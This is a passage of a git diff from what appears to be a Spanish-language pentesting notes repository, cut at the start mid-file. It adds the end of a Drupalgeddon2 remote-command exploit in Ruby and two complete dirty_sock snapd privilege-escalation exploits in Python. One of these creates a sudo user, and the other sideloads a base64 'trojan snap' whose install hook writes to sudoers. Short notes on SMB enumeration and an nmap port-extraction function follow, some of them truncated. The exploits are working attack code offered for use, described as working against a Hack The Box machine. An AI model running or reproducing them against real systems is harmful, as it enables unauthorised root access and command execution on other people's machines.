+ #clean.slice!(/.*
/) + + # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500 + # For: Deprecated: assert(): Calling assert() with a string argument is deprecated in /var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php on line 151
+ clean.slice!(/The website encountered an unexpected error.*/) + + return clean +end + + +# Feedback when something goes right +def success(text) + # Green + return "\e[#{32}m[+]\e[0m #{text}" +end + +# Feedback when something goes wrong +def error(text) + # Red + return "\e[#{31}m[-]\e[0m #{text}" +end + +# Feedback when something may have issues +def warning(text) + # Yellow + return "\e[#{33}m[!]\e[0m #{text}" +end + +# Feedback when something doing something +def action(text) + # Blue + return "\e[#{34}m[*]\e[0m #{text}" +end + +# Feedback with helpful information +def info(text) + # Light blue + return "\e[#{94}m[i]\e[0m #{text}" +end + +# Feedback for the overkill +def verbose(text) + # Dark grey + return "\e[#{90}m[v]\e[0m #{text}" +end + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +def init_authentication() + $uname = ask('Enter your username: ') { |q| q.echo = false } + $passwd = ask('Enter your password: ') { |q| q.echo = false } + $uname_field = ask('Enter the name of the username form field: ') { |q| q.echo = true } + $passwd_field = ask('Enter the name of the password form field: ') { |q| q.echo = true } + $login_path = ask('Enter your login path (e.g., user/login): ') { |q| q.echo = true } + $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...): ') { |q| q.echo = true } +end + +def is_arg(args, param) + args.each do |arg| + if arg == param + return true + end + end + return false +end + + +# Quick how to use +def usage() + puts 'Usage: ruby drupalggedon2.rb
Page not found
The requested page could not be found.
+ puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"
+
+ # Only works for CHANGELOG.txt
+ if uri.match(/CHANGELOG.txt/)
+ # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
+ puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"
+
+ # Patched already? (For Drupal v8.4.x / v7.x)
+ puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"
+
+ # Try and get version from the file contents (For Drupal v8.4.x / v7.x)
+ $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
+
+ # Blank if not valid
+ $drupalverion = "" if not $drupalverion[-1] =~ /\d/
+ end
+
+ # Check meta tag
+ if not response.body.empty?
+ # For Drupal v8.x / v7.x
+ meta = response.body.match(/> ", true).to_s
+
+ # Check input
+ puts warning("WARNING: Detected an known bad character (>)") if command =~ />/
+
+ # Exit
+ break if command == "exit"
+
+ # Blank link?
+ next if command.empty?
+
+ # If PHP web shell
+ if not webshellpath.empty?
+ # Send request
+ result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
+ # Direct OS commands
+ else
+ url, payload = gen_evil_url(command, $element, true)
+ response = http_request(url, "post", payload, $session_cookie)
+
+ # Check result
+ if not response.body.empty?
+ result = clean_result(response.body)
+ end
+ end
+
+ # Feedback
+ puts result
+end
diff --git a/Exploits/PrivilegeEscalation/Snap/dirty_sockv1.py b/Exploits/PrivilegeEscalation/Snap/dirty_sockv1.py
new file mode 100644
index 00000000000..b871edd4d4c
--- /dev/null
+++ b/Exploits/PrivilegeEscalation/Snap/dirty_sockv1.py
@@ -0,0 +1,173 @@
+#!/usr/bin/env python3
+
+"""
+Escalada de privilegios locales a través de snapd, afectando a Ubuntu y otros.
+
+La v1 de dirty_sock aprovecha la API /v2/create-user para crear un nuevo usuario local basado en información en un perfil de SSO de Ubuntu.
+Requiere Internet saliente acceso, así como el servicio SSH que se ejecuta y está disponible desde localhost.
+Pruebe v2 en entornos más restringidos, pero use v1 cuando sea posible.
+
+Antes de ejecutar v1, debe:
+
+- Crear una cuenta de SSO de Ubuntu (https://login.ubuntu.com/)
+- Inicie sesión en esa cuenta y asegúrese de tener configurada su clave SSH pública en tu perfil.
+
+Ejecute un exploit como este:
+
+dirty_sock.py -u [Cuenta de email] -k [Archivo de clave privada ssh]
+
+Se creará un nuevo usuario local con derechos de sudo utilizando el nombre de usuario de su Perfil de SSO de Ubuntu.
+La clave pública SSH se copiará en este perfil de usuario.
+El exploit se convertirá automáticamente en SSH en localhost cuando finalice.
+
+CONDICIONES DE USO:
+Tener permiso sudo sobre el archvio "snap". Esto podemos comprobarlo realizando un "sudo -l" y comprobando los permisos.
+
+Investigación y POC por initstring (https://github.com/initstring/dirty_sock)
+
+"""
+
+import argparse
+import string
+import random
+import socket
+import re
+import sys
+import os
+
+BANNER = r'''
+ ___ _ ____ ___ _ _ ____ ____ ____ _ _
+ | \ | |__/ | \_/ [__ | | | |_/
+ |__/ | | \ | | ___ ___] |__| |___ | \_
+ (version 1)
+
+//=========[]==========================================\\
+|| R&D || initstring (@init_string) ||
+|| Source || https://github.com/initstring/dirty_sock ||
+|| Details || https://initblog.com/2019/dirty-sock ||
+\\=========[]==========================================//
+
+'''
+
+
+def process_args():
+ """Handles user-passed parameters"""
+ parser = argparse.ArgumentParser()
+ parser.add_argument('--username', '-u', type=str, action='store',
+ required=True, help='Your Ubuntu One account email.')
+ parser.add_argument('--key', '-k', type=str, action='store',
+ required=True, help='Full path to the ssh privkey'
+ ' matching the pubkey in your Ubuntu One account.')
+
+ args = parser.parse_args()
+
+ if not os.path.isfile(args.key):
+ print("[!] That key file does not exist. Please try again.")
+ sys.exit()
+
+ return args
+
+def create_sockfile():
+ """Generates a random socket file name to use"""
+ alphabet = string.ascii_lowercase
+ random_string = ''.join(random.choice(alphabet) for i in range(10))
+ dirty_sock = ';uid=0;'
+
+ # This is where we slip on the dirty sock. This makes its way into the
+ # UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion
+ # by snapd's ucrednet.go file, allowing us to overwrite the UID variable.
+ sockfile = '/tmp/' + random_string + dirty_sock
+
+ print("[+] Slipped dirty sock on random socket file: " + sockfile)
+
+ return sockfile
+
+def bind_sock(sockfile):
+ """Binds to a local file"""
+ # This exploit only works if we also BIND to the socket after creating
+ # it, as we need to inject the dirty sock as a remote peer in the
+ # socket's ancillary data.
+ print("[+] Binding to socket file...")
+ client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+ client_sock.bind(sockfile)
+
+ # Connect to the snap daemon
+ print("[+] Connecting to snapd API...")
+ client_sock.connect('/run/snapd.socket')
+
+ return client_sock
+
+def add_user(args, client_sock):
+ """Main exploit function"""
+ post_payload = ('{"email": "' + args.username +
+ '", "sudoer": true, "force-managed": true}')
+ http_req = ('POST /v2/create-user HTTP/1.1\r\n'
+ 'Host: localhost\r\n'
+ 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n'
+ + post_payload)
+
+ # Send our payload to the snap API
+ print("[+] Sending payload...")
+ client_sock.sendall(http_req.encode("utf-8"))
+
+ # Receive the data and extract the JSON
+ http_reply = client_sock.recv(8192).decode("utf-8")
+
+ # Try to extract a username from the valid reply
+ regex = re.compile(r'"status":"OK","result":{"username":"(.*?)"')
+ username = re.findall(regex, http_reply)
+
+ # If exploit was not successful, give details and exit
+ if '"status":"Unauthorized"' in http_reply:
+ print("[!] System may not be vulnerable, here is the API reply:\n\n")
+ print(http_reply)
+ sys.exit()
+
+ if 'cannot find user' in http_reply:
+ print("[!] Could not find user in the snap store... did you follow"
+ " the instructions?")
+ print("Here is the API reply:")
+ print(http_reply)
+ sys.exit()
+
+ if not username:
+ print("[!] Something went wrong... Here is the API reply:")
+ print(http_reply)
+ sys.exit()
+
+ # SSH into localhost with our new root account
+ print("[+] Success! Enjoy your new account with sudo rights!")
+ cmd1 = 'chmod 600 ' + args.key
+ cmd2 = 'ssh ' + username[0] + '@localhost -i ' + args.key
+ os.system(cmd1)
+ os.system(cmd2)
+
+ print("[+] Hope you enjoyed your stay!")
+ sys.exit()
+
+
+
+def main():
+ """Main program function"""
+
+ # Gotta have a banner...
+ print(BANNER)
+
+ # Process the required arguments
+ args = process_args()
+
+ # Create a random name for the dirty socket file
+ sockfile = create_sockfile()
+
+ # Bind the dirty socket to the snapdapi
+ client_sock = bind_sock(sockfile)
+
+ # Exploit away...
+ add_user(args, client_sock)
+
+ # Remove the dirty socket file
+ os.remove(sockfile)
+
+
+if __name__ == '__main__':
+ main()
diff --git a/Exploits/PrivilegeEscalation/Snap/dirty_sockv2.py b/Exploits/PrivilegeEscalation/Snap/dirty_sockv2.py
new file mode 100644
index 00000000000..bcdd3c1b05d
--- /dev/null
+++ b/Exploits/PrivilegeEscalation/Snap/dirty_sockv2.py
@@ -0,0 +1,250 @@
+#!/usr/bin/env python3
+
+"""
+Escalada de privilegios locales a través de snapd, afectando a Ubuntu y otros.
+
+La v2 de dirty_sock aprovecha la API /v2/snaps para descargar de prueba un complemento vacío con un gancho de instalación que crea un nuevo usuario.
+La v1 se recomienda en la mayoría de las situaciones, ya que es menos intrusivo.
+
+Simplemente, ejecuté tal cual, sin argumentos, sin requisitos. Si el exploit es exitoso, el sistema tendrá un nuevo usuario con permisos sudo de la
+siguiente manera: nombre de
+
+usuario: dirty_sock
+contraseña: dirty_sock
+
+Puede ejecutar su dirty_sock cuando se complete el exploit. Ver la página de github para la solución de problemas.
+Investigación y POC por initstring (https://github.com/initstring/dirty_sock).
+
+CONDICIONES DE USO:
+
+Tener permiso sudo sobre el archvio "snap". Esto podemos comprobarlo realizando un "sudo -l" y comprobando los permisos.
+
+Este exploit funciona en las siguientes máquinas de Hack the Box --> Armageddon.
+
+"""
+
+import string
+import random
+import socket
+import base64
+import time
+import sys
+import os
+
+BANNER = r'''
+ ___ _ ____ ___ _ _ ____ ____ ____ _ _
+ | \ | |__/ | \_/ [__ | | | |_/
+ |__/ | | \ | | ___ ___] |__| |___ | \_
+ (version 2)
+
+//=========[]==========================================\\
+|| R&D || initstring (@init_string) ||
+|| Source || https://github.com/initstring/dirty_sock ||
+|| Details || https://initblog.com/2019/dirty-sock ||
+\\=========[]==========================================//
+
+'''
+
+
+# The following global is a base64 encoded string representing an installable
+# snap package. The snap itself is empty and has no functionality. It does,
+# however, have a bash-script in the install hook that will create a new user.
+# For full details, read the blog linked on the github page above.
+TROJAN_SNAP = ('''
+aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
+/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
+ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
+TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
+T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
+Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
+ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
+ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
+L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
+b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
+rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
+rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
+AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
+XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
+RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
+AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''
+ + 'A' * 4256 + '==')
+
+def check_args():
+ """Return short help if any args given"""
+ if len(sys.argv) > 1:
+ print("\n\n"
+ "No arguments needed for this version. Simply run and enjoy."
+ "\n\n")
+ sys.exit()
+
+def create_sockfile():
+ """Generates a random socket file name to use"""
+ alphabet = string.ascii_lowercase
+ random_string = ''.join(random.choice(alphabet) for i in range(10))
+ dirty_sock = ';uid=0;'
+
+ # This is where we slip on the dirty sock. This makes its way into the
+ # UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion
+ # by snapd's ucrednet.go file, allowing us to overwrite the UID variable.
+ sockfile = '/tmp/' + random_string + dirty_sock
+
+ print("[+] Slipped dirty sock on random socket file: " + sockfile)
+
+ return sockfile
+
+def bind_sock(sockfile):
+ """Binds to a local file"""
+ # This exploit only works if we also BIND to the socket after creating
+ # it, as we need to inject the dirty sock as a remote peer in the
+ # socket's ancillary data.
+ print("[+] Binding to socket file...")
+ client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+ client_sock.bind(sockfile)
+
+ # Connect to the snap daemon
+ print("[+] Connecting to snapd API...")
+ client_sock.connect('/run/snapd.socket')
+
+ return client_sock
+
+def delete_snap(client_sock):
+ """Deletes the trojan snap, if installed"""
+ post_payload = ('{"action": "remove",'
+ ' "snaps": ["dirty-sock"]}')
+ http_req = ('POST /v2/snaps HTTP/1.1\r\n'
+ 'Host: localhost\r\n'
+ 'Content-Type: application/json\r\n'
+ 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n'
+ + post_payload)
+
+ # Send our payload to the snap API
+ print("[+] Deleting trojan snap (and sleeping 5 seconds)...")
+ client_sock.sendall(http_req.encode("utf-8"))
+
+ # Receive the data and extract the JSON
+ http_reply = client_sock.recv(8192).decode("utf-8")
+
+ # Exit on probably-not-vulnerable
+ if '"status":"Unauthorized"' in http_reply:
+ print("[!] System may not be vulnerable, here is the API reply:\n\n")
+ print(http_reply)
+ sys.exit()
+
+ # Exit on failure
+ if 'status-code":202' not in http_reply:
+ print("[!] Did not work, here is the API reply:\n\n")
+ print(http_reply)
+ sys.exit()
+
+ # We sleep to allow the API command to complete, otherwise the install
+ # may fail.
+ time.sleep(5)
+
+def install_snap(client_sock):
+ """Sideloads the trojan snap"""
+
+ # Decode the base64 from above back into bytes
+ blob = base64.b64decode(TROJAN_SNAP)
+
+ # Configure the multi-part form upload boundary here:
+ boundary = '------------------------f8c156143a1caf97'
+
+ # Construct the POST payload for the /v2/snap API, per the instructions
+ # here: https://github.com/snapcore/snapd/wiki/REST-API
+ # This follows the 'sideloading' process.
+ post_payload = '''
+--------------------------f8c156143a1caf97
+Content-Disposition: form-data; name="devmode"
+
+true
+--------------------------f8c156143a1caf97
+Content-Disposition: form-data; name="snap"; filename="snap.snap"
+Content-Type: application/octet-stream
+
+''' + blob.decode('latin-1') + '''
+--------------------------f8c156143a1caf97--'''
+
+
+ # Multi-part forum uploads are weird. First, we post the headers
+ # and wait for an HTTP 100 reply. THEN we can send the payload.
+ http_req1 = ('POST /v2/snaps HTTP/1.1\r\n'
+ 'Host: localhost\r\n'
+ 'Content-Type: multipart/form-data; boundary='
+ + boundary + '\r\n'
+ 'Expect: 100-continue\r\n'
+ 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n')
+
+ # Send the headers to the snap API
+ print("[+] Installing the trojan snap (and sleeping 8 seconds)...")
+ client_sock.sendall(http_req1.encode("utf-8"))
+
+ # Receive the initial HTTP/1.1 100 Continue reply
+ http_reply = client_sock.recv(8192).decode("utf-8")
+
+ if 'HTTP/1.1 100 Continue' not in http_reply:
+ print("[!] Error starting POST conversation, here is the reply:\n\n")
+ print(http_reply)
+ sys.exit()
+
+ # Now we can send the payload
+ http_req2 = post_payload
+ client_sock.sendall(http_req2.encode("latin-1"))
+
+ # Receive the data and extract the JSON
+ http_reply = client_sock.recv(8192).decode("utf-8")
+
+ # Exit on failure
+ if 'status-code":202' not in http_reply:
+ print("[!] Did not work, here is the API reply:\n\n")
+ print(http_reply)
+ sys.exit()
+
+ # Sleep to allow time for the snap to install correctly. Otherwise,
+ # The uninstall that follows will fail, leaving unnecessary traces
+ # on the machine.
+ time.sleep(8)
+
+def print_success():
+ """Prints a success message if we've made it this far"""
+ print("\n\n")
+ print("********************")
+ print("Success! You can now `su` to the following account and use sudo:")
+ print(" username: dirty_sock")
+ print(" password: dirty_sock")
+ print("********************")
+ print("\n\n")
+
+
+def main():
+ """Main program function"""
+
+ # Gotta have a banner...
+ print(BANNER)
+
+ # Check for any args (none needed)
+ check_args()
+
+ # Create a random name for the dirty socket file
+ sockfile = create_sockfile()
+
+ # Bind the dirty socket to the snapdapi
+ client_sock = bind_sock(sockfile)
+
+ # Delete trojan snap, in case there was a previous install attempt
+ delete_snap(client_sock)
+
+ # Install the trojan snap, which has an install hook that creates a user
+ install_snap(client_sock)
+
+ # Delete the trojan snap
+ delete_snap(client_sock)
+
+ # Remove the dirty socket file
+ os.remove(sockfile)
+
+ # Congratulate the lucky hacker
+ print_success()
+
+
+if __name__ == '__main__':
+ main()
diff --git a/LICENSE b/LICENSE
deleted file mode 100644
index 670154e3538..00000000000
--- a/LICENSE
+++ /dev/null
@@ -1,116 +0,0 @@
-CC0 1.0 Universal
-
-Statement of Purpose
-
-The laws of most jurisdictions throughout the world automatically confer
-exclusive Copyright and Related Rights (defined below) upon the creator and
-subsequent owner(s) (each and all, an "owner") of an original work of
-authorship and/or a database (each, a "Work").
-
-Certain owners wish to permanently relinquish those rights to a Work for the
-purpose of contributing to a commons of creative, cultural and scientific
-works ("Commons") that the public can reliably and without fear of later
-claims of infringement build upon, modify, incorporate in other works, reuse
-and redistribute as freely as possible in any form whatsoever and for any
-purposes, including without limitation commercial purposes. These owners may
-contribute to the Commons to promote the ideal of a free culture and the
-further production of creative, cultural and scientific works, or to gain
-reputation or greater distribution for their Work in part through the use and
-efforts of others.
-
-For these and/or other purposes and motivations, and without any expectation
-of additional consideration or compensation, the person associating CC0 with a
-Work (the "Affirmer"), to the extent that he or she is an owner of Copyright
-and Related Rights in the Work, voluntarily elects to apply CC0 to the Work
-and publicly distribute the Work under its terms, with knowledge of his or her
-Copyright and Related Rights in the Work and the meaning and intended legal
-effect of CC0 on those rights.
-
-1. Copyright and Related Rights. A Work made available under CC0 may be
-protected by copyright and related or neighboring rights ("Copyright and
-Related Rights"). Copyright and Related Rights include, but are not limited
-to, the following:
-
- i. the right to reproduce, adapt, distribute, perform, display, communicate,
- and translate a Work;
-
- ii. moral rights retained by the original author(s) and/or performer(s);
-
- iii. publicity and privacy rights pertaining to a person's image or likeness
- depicted in a Work;
-
- iv. rights protecting against unfair competition in regards to a Work,
- subject to the limitations in paragraph 4(a), below;
-
- v. rights protecting the extraction, dissemination, use and reuse of data in
- a Work;
-
- vi. database rights (such as those arising under Directive 96/9/EC of the
- European Parliament and of the Council of 11 March 1996 on the legal
- protection of databases, and under any national implementation thereof,
- including any amended or successor version of such directive); and
-
- vii. other similar, equivalent or corresponding rights throughout the world
- based on applicable law or treaty, and any national implementations thereof.
-
-2. Waiver. To the greatest extent permitted by, but not in contravention of,
-applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and
-unconditionally waives, abandons, and surrenders all of Affirmer's Copyright
-and Related Rights and associated claims and causes of action, whether now
-known or unknown (including existing as well as future claims and causes of
-action), in the Work (i) in all territories worldwide, (ii) for the maximum
-duration provided by applicable law or treaty (including future time
-extensions), (iii) in any current or future medium and for any number of
-copies, and (iv) for any purpose whatsoever, including without limitation
-commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes
-the Waiver for the benefit of each member of the public at large and to the
-detriment of Affirmer's heirs and successors, fully intending that such Waiver
-shall not be subject to revocation, rescission, cancellation, termination, or
-any other legal or equitable action to disrupt the quiet enjoyment of the Work
-by the public as contemplated by Affirmer's express Statement of Purpose.
-
-3. Public License Fallback. Should any part of the Waiver for any reason be
-judged legally invalid or ineffective under applicable law, then the Waiver
-shall be preserved to the maximum extent permitted taking into account
-Affirmer's express Statement of Purpose. In addition, to the extent the Waiver
-is so judged Affirmer hereby grants to each affected person a royalty-free,
-non transferable, non sublicensable, non exclusive, irrevocable and
-unconditional license to exercise Affirmer's Copyright and Related Rights in
-the Work (i) in all territories worldwide, (ii) for the maximum duration
-provided by applicable law or treaty (including future time extensions), (iii)
-in any current or future medium and for any number of copies, and (iv) for any
-purpose whatsoever, including without limitation commercial, advertising or
-promotional purposes (the "License"). The License shall be deemed effective as
-of the date CC0 was applied by Affirmer to the Work. Should any part of the
-License for any reason be judged legally invalid or ineffective under
-applicable law, such partial invalidity or ineffectiveness shall not
-invalidate the remainder of the License, and in such case Affirmer hereby
-affirms that he or she will not (i) exercise any of his or her remaining
-Copyright and Related Rights in the Work or (ii) assert any associated claims
-and causes of action with respect to the Work, in either case contrary to
-Affirmer's express Statement of Purpose.
-
-4. Limitations and Disclaimers.
-
- a. No trademark or patent rights held by Affirmer are waived, abandoned,
- surrendered, licensed or otherwise affected by this document.
-
- b. Affirmer offers the Work as-is and makes no representations or warranties
- of any kind concerning the Work, express, implied, statutory or otherwise,
- including without limitation warranties of title, merchantability, fitness
- for a particular purpose, non infringement, or the absence of latent or
- other defects, accuracy, or the present or absence of errors, whether or not
- discoverable, all to the greatest extent permissible under applicable law.
-
- c. Affirmer disclaims responsibility for clearing rights of other persons
- that may apply to the Work or any use thereof, including without limitation
- any person's Copyright and Related Rights in the Work. Further, Affirmer
- disclaims responsibility for obtaining any necessary consents, permissions
- or other rights required for any use of the Work.
-
- d. Affirmer understands and acknowledges that Creative Commons is not a
- party to this document and has no duty or obligation with respect to this
- CC0 or use of the Work.
-
-For more information, please see
-
f1r0x.github.io
-[](https://github.com/pages-themes/hacker/actions/workflows/ci.yaml) [](https://badge.fury.io/rb/jekyll-theme-hacker)
-*Hacker is a Jekyll theme for GitHub Pages. You can [preview the theme to see what it looks like](http://pages-themes.github.io/hacker), or even [use it today](#usage).*
-
-
-## Usage
-
-To use the Hacker theme:
-
-1. Add the following to your site's `_config.yml`:
-
- ```yml
- remote_theme: pages-themes/hacker@v0.2.0
- plugins:
- - jekyll-remote-theme # add this line to the plugins list if you already have one
- ```
-
-2. Optionally, if you'd like to preview your site on your computer, add the following to your site's `Gemfile`:
-
- ```ruby
- gem "github-pages", group: :jekyll_plugins
- ```
-
-## Customizing
-
-### Configuration variables
-
-Hacker will respect the following variables, if set in your site's `_config.yml`:
-
-```yml
-title: [The title of your site]
-description: [A short description of your site's purpose]
-```
-
-Additionally, you may choose to set the following optional variables:
-
-```yml
-show_downloads: ["true" or "false" (unquoted) to indicate whether to provide a download URL]
-google_analytics: [Your Google Analytics tracking ID]
-```
-
-### Stylesheet
-
-If you'd like to add your own custom styles:
-
-1. Create a file called `/assets/css/style.scss` in your site
-2. Add the following content to the top of the file, exactly as shown:
- ```scss
- ---
- ---
-
- @import "{{ site.theme }}";
- ```
-3. Add any custom CSS (or Sass, including imports) you'd like immediately after the `@import` line
-
-*Note: If you'd like to change the theme's Sass variables, you must set new values before the `@import` line in your stylesheet.*
-
-### Layouts
-
-If you'd like to change the theme's HTML layout:
-
-1. For some changes such as a custom `favicon`, you can add custom files in your local `_includes` folder. The files [provided with the theme](https://github.com/pages-themes/hacker/tree/master/_includes) provide a starting point and are included by the [original layout template](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html).
-2. For more extensive changes, [copy the original template](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html) from the theme's repository(*Pro-tip: click "raw" to make copying easier*) -3. Create a file called `/_layouts/default.html` in your site -4. Paste the default layout content copied in the first step -5. Customize the layout as you'd like - -### Customizing Google Analytics code - -Google has released several iterations to their Google Analytics code over the years since this theme was first created. If you would like to take advantage of the latest code, paste it into `_includes/head-custom-google-analytics.html` in your Jekyll site. - -### Overriding GitHub-generated URLs - -Templates often rely on URLs supplied by GitHub such as links to your repository or links to download your project. If you'd like to override one or more default URLs: - -1. Look at [the template source](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html) to determine the name of the variable. It will be in the form of `{{ site.github.zip_url }}`. -2. Specify the URL that you'd like the template to use in your site's `_config.yml`. For example, if the variable was `site.github.url`, you'd add the following: - ```yml - github: - zip_url: http://example.com/download.zip - another_url: another value - ``` -3. When your site is built, Jekyll will use the URL you specified, rather than the default one provided by GitHub. - -*Note: You must remove the `site.` prefix, and each variable name (after the `github.`) should be indent with two space below `github:`.* - -For more information, see [the Jekyll variables documentation](https://jekyllrb.com/docs/variables/). - -## Roadmap - -See the [open issues](https://github.com/pages-themes/hacker/issues) for a list of proposed features (and known issues). - -## Project philosophy - -The Hacker theme is intended to make it quick and easy for GitHub Pages users to create their first (or 100th) website. The theme should meet the vast majority of users' needs out of the box, erring on the side of simplicity rather than flexibility, and provide users the opportunity to opt-in to additional complexity if they have specific needs or wish to further customize their experience (such as adding custom CSS or modifying the default layout). It should also look great, but that goes without saying. - -## Contributing - -Interested in contributing to Hacker? We'd love your help. Hacker is an open source project, built one contribution at a time by users like you. See [the CONTRIBUTING file](docs/CONTRIBUTING.md) for instructions on how to contribute. - -### Previewing the theme locally - -If you'd like to preview the theme locally (for example, in the process of proposing a change): - -1. Clone down the theme's repository (`git clone https://github.com/pages-themes/hacker`) -2. `cd` into the theme's directory -3. Run `script/bootstrap` to install the necessary dependencies -4. Run `bundle exec jekyll serve` to start the preview server -5. Visit [`localhost:4000`](http://localhost:4000) in your browser to preview the theme - -### Running tests - -The theme contains a minimal test suite, to ensure a site with the theme would build successfully. To run the tests, simply run `script/cibuild`. You'll need to run `script/bootstrap` once before the test script will work. diff --git a/Web/Articulos/smbClient.md b/Web/Articulos/smbClient.md new file mode 100644 index 00000000000..99b06b28c07 --- /dev/null +++ b/Web/Articulos/smbClient.md @@ -0,0 +1,38 @@ +# SMBClient + +## ¿Cómo listar recursos compartidos con SMBClient? + +Con `cmbclient` podemos tratar de listar los recursos compartidos a nivel de red de un equipo expuesto. + + smbclient -L [Ip] -N + + smbclient -L 10.10.10.10 -N + +* `-L:` Comparte una lista de los recursos compartidos. +* `-N:` Hace uso de un Null Session. + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Articulos/smbMap.md b/Web/Articulos/smbMap.md new file mode 100644 index 00000000000..869ab945811 --- /dev/null +++ b/Web/Articulos/smbMap.md @@ -0,0 +1,42 @@ +# SMBMap + +## Instalación: +Para instalar `smbmap` desde la terminal en cualquier distribución Debian podemos utilizar el siguiente comando: + + sudo apt install smbmap + +## ¿Cómo listar recursos compartidos con SMBMap? + +Con `cmbmap` podemos tratar de listar los recursos compartidos a nivel de red de un equipo expuesto, al igual que con `smbclient`. + + smbmap -H [Ip] + + smbmap -H 10.10.10.10 + +* `-H:` Se utiliza para especificar el Host (Ip, direcciones http, direcciones https, etc). + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/ExtractPorts.md b/Web/Herramientas_y_Scripts/ExtractPorts.md new file mode 100644 index 00000000000..a8cab216f75 --- /dev/null +++ b/Web/Herramientas_y_Scripts/ExtractPorts.md @@ -0,0 +1,80 @@ +# ExtractPorts + +ExtractPorts es una función creada por S4vitar. + +Esta herramienta nos mostrará en formato bat los puertos encontrados y guardados previamemte en un archivo. Para crear estos archivos, debemos de guardar los +escaneos (al escanear los puertos con nmap por ejemplo) en formato `grepeable` (-oG). + +Luego mediante `Cntrl + Shift + v` podremos pegar los puertos a la terminal automáticamente. Esto es muy útil cuando tenemos que trabajar con muchos puertos +ya que tenemos los puertos guardados sin necesidad de volver a realizar el escaneo y para pegar de forma rápida todos los puertos sin la necesidad de escribirlos +uno por uno. + + + + extractPorts allPorts + +`allPorts` : Archivo previamente definido. + + + +`Cntrl + Shift + v` : Para pegar los puertos a la terminal. + +## Instalación: + +Para la instalación de esta herramienta previamente se recomienda tener instalado 'bat' que es una mejora del comando 'cat'. + +Para poder tener está función activa, simplemente nos dirigiremos a la carpeta .bashrc o .zshrc (la que utilicéis) y pegaremos la función. + +``` + +# Extract nmap information: +function extractPorts(){ + ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{prin> + ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{> + echo -e "\n[*] Extracting information...\n" > extractP> + echo -e "\t[*] IP Address: $ip_address" >> extractPor> + echo -e "\t[*] Open ports: $ports\n" >> extractPorts.> + echo $ports | tr -d '\n' | xclip -sel clip + echo -e "[*] Ports copied to clipboard\n" >> extractP> + cat extractPorts.tmp; rm extractPorts.tmp +} + + ``` + +Esta función la podéis encontrar también en el perfil de S4vitar. + +S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) + + + +# Menciones: + +Esta función está creada por el creador de contenido S4vitar, podéis encontrar una gran cantidad de información sobre ciberseguridad en +sus canales de Youtube y Twitch. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/FFUF.md b/Web/Herramientas_y_Scripts/FFUF.md new file mode 100644 index 